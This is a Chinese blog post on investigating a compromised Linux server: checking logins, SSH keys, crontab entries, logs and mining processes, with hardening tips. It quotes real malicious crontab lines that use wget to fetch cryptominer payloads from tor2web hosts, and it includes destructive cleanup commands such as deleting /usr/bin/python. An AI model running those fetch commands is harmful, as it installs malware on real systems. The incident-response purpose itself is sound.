服务器中招排查思路

一.为何会被入侵

开放了22远程登陆,开放了外网,就有可能被暴力破解登陆,对方一直尝试root密码而登陆进去了。

也有可能开放的服务,例如nginx,mysql或者redis(默认没有密码),因为某些漏洞,从而被黑客进入到系统之中。

被入侵后如果还有潜伏程序,将会有如下特征
1.启动一个程序一直运行,进行破坏或者收集信息
2.在周计划中添加条目,每隔几秒就运行一下
3.在/etc/profile等启动执行文件里添加条目
二.排查

入侵排查

登录系统去看下是否有其它人陌生人也在线上
命令: w
在这里插入图片描述
如果有就找到pid号,kill掉,并立即更改服务器密码。
命令: ps -aux | grep root@pts/0
在这里插入图片描述
但有的会做免密登陆,同时只用ssh远程链接方式执行命令,也不会留下操作记录。这时候只是更改密码是没用的。下次人家还照样进来。

所以先到.ssh目录下将authorized_keys文件清空或者清除有问题的条目。
命令: > /root/.ssh/authorized_keys
检查是否还存在被登陆可能

查看密码文件和当前用户是否有变化,有没有新增加用户进来。
命令: cat /etc/passwd
命令: cat /etc/shadow

计划任务

查看是否有写入周计划,有则删除,并记录下来,找找那些脚本写的是什么,看那些脚本里是不是自我复制,对下载脚本进行分析。
命令: crontab -e
命令: cat /etc/crontab

如果这里删除后过一会又有了,利用lsof命令查找一下是哪个进程在写入文件。
lsof /var/spool/cron/root

找不到则先锁定计划任务。去除i权限,清理计划任务,再锁定
cd /var/spool/cron
chattr -i *

root
chattr +i *

可查看是哪个程序被入侵的,比如redis暴露外网被入侵,则可以在cron.deny禁止redis这个用户使用crontab

被修改的文件

查询最近一天被修改的文件,并且去除proc临时文件
find / -mtime 0 -ls | grep -v proc

有的像crontab即使加了i属性,依然会被解封,然后写入定时任务。这时候可以用audit这个命令来监控/var/spool/cron/root这个文件,看是哪个进程在操作。

筛选日志

查看机器的日志有没有被清空或删除。和别的机器对比一下,看看是不是文件都在。
命令: du -sh /var/log/*

查看有没有异常操作,不过通常会被清空。在查询的时候也不要只看当前的,可能是伪造的history记录,从头一条条看。
命令: history

查看机器最近成功登陆的事件和最后一次不成功的登陆事件,对应的日志是/var/log/lastlog
mo命令: lastlog

查看机器创建以来登陆过的用户,对应日志文件/var/log/wtmp
命令: last

查看当前时间是否更改,更改时间会导致history等记录的时间不正确,可能昨天的操作,变成了半个月以前的,要更改回来。
命令: date

日志恢复

查看到日志不存在,被删除了
ll /var/log/secure
1.ls: cannot access /var/log/secure: No such file or directory

查看是否有进程在使用这个文件,可以看到rsysload进程在使用,pid号是1264,使用者root,打开的文件描述符是4,结尾的状态是文件已经被删除。
lsof | grep /var/log/secure
1.rsyslogd 1264 root 4w REG 8,1 3173904 263917 /var/log/secure (deleted)

查看对应pid号的文件描述符,可以看到对应的文件内容。
tail /proc/1264/fd/4
1.Sep 20 16:47:21 hlmcen69n3 sshd[38511]: pam_unix(sshd:session): session closed for user stone
2.Sep 20 16:47:21 hlmcen69n3 su: pam_unix(su-l:session): session closed for user root
3.Sep 20 16:49:30 hlmcen69n3 sshd[38605]: pam_unix(sshd:session): session closed for user test01
4.Sep 20 16:50:04 hlmcen69n3 sshd[38652]: reverse mapping checking getaddrinfo for 190.78.120.106.static.bjtelecom.net [106.120.78.190] failed - POSSIBLE BREAK-IN ATTEMPT!

用重定向的方法恢复日志,
cat /proc/1264/fd/4 > /var/log/secure

找到异常进程-1

如果发现机器产生了异常流量,可以抓取网络包查看流量情况或者查看流量情况。通常作为肉鸡用于去攻击其它机器的时候,网络出口流量会异常的大。
命令: tcpdump | iperf

查看当前开启的进程服务,一般脚本病毒会开启udp端口来作为肉鸡攻击其它机器,查找有问题的进程。
命令: netstat -unltp

通常异常进程都比较消耗资源,比如挖矿脚本最消耗资源,查看哪个进程消耗资源做多
命令: top
在这里插入图片描述
如果找到怀疑的进程,找到pid号,可以看到启动命令
ll /proc/1850/ | grep -i exe
wxrwxrwx. 1 root root 0 Sep 15 12:31 exe -> /usr/bin/python
找到那个文件,并删除掉。
ll /usr/bin/python
rm -rf /usr/bin/python

同时搜索类似文件名的文件是否存在,不过可能文件名会改变
find / -name python -type f

找到异常进程-2
如果上面方法没找到,则用ps命令来获取信息。
和其它机器对比,找出有问题的进程,基本上系统启动后就那几个进程,再加上服务器运行的服务,进程数量相对比较固定。
命令:ps -aux

找到有问题的pid号后,查看相关进程,一起kill掉杀死。
pstree -p

可以看到进程的树状图,还有分支出来的其它子进程,一起kill掉,再删除程序。

有些进程不能通过pid直接杀死,可以找到ppid、pgid、sid、tpgid、进行kill
在这里插入图片描述
可以看到进程的树状图,还有分支出来的其它子进程,一起kill掉,再删除程序。

找到异常进程-3
查看日志或者crontab中,如果找到有相关的执行脚本的操作,可以去用搜找那些文件。

crontab -l看到的,如下是真实被入侵挖矿后看到的

下载第一个并不执行
wget -qO- -U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh
显示如下,先判断/tmp/.X11-lock所记录的pid是否存在,不存在将下载一个可执行文件,加权限后并启动,再删除自己。
在这里插入图片描述
只下载脚本并不执行,看来人家的脚本还分系统,针对挖矿
wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m)

看到目录下有个.X86_64的几百KB的可执行文件,不知道拿啥语言写的,手动运行它后,会先删除自己,再运行一会才开始挖矿。

可以查看这个pid,来看看它在做什么。
strace -p pid号

我用如下命令获取一个文件,在这个挖矿脚本运行2分钟后,将pid杀死,查看文件内容。
strace -p pid号 &> du.txt

可以从中看到一些信息,如果有open,conle之类的字样,可以看看他在打开哪些文件,找到路径后删除掉。

找到异常进程-4
查询所有命令信息,看是否被篡改,可以看到最近更改和最近改动
在这里插入图片描述
那就根据关键字改,进行筛查,多查找几个日期和目录
在这里插入图片描述
还有可能是alias别名,查看是否有变化
在这里插入图片描述
如果对方可能改了文件,但修改了日期,那就用md5效验,和一台正常机器做对比
在这里插入图片描述
三.总结
1.做好监控,对进程,登陆用户,在线用户等等监控
2.除了提供服务的nginx之类的机器,其他mysql等等均不要开放外网,nginx那台也不对外开放22端口,只开放80端口。
3.设置跳板机,只通过跳板机进行登录,并限制访问的白名单地址,有需求可以设置短信和秘钥双因子验证。开源的有jumpserver和webterminal这些堡垒机软件。
4.nginx或者其他服务均使用单独的用户启动,并nologin消除登陆权限。
5.更改暴露在外面的服务器22端口改成别的,并禁止root直接登陆。
6.做好服务器定期镜像,因为被入侵后恢复很痛苦,最好的方法是直接还原镜像。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值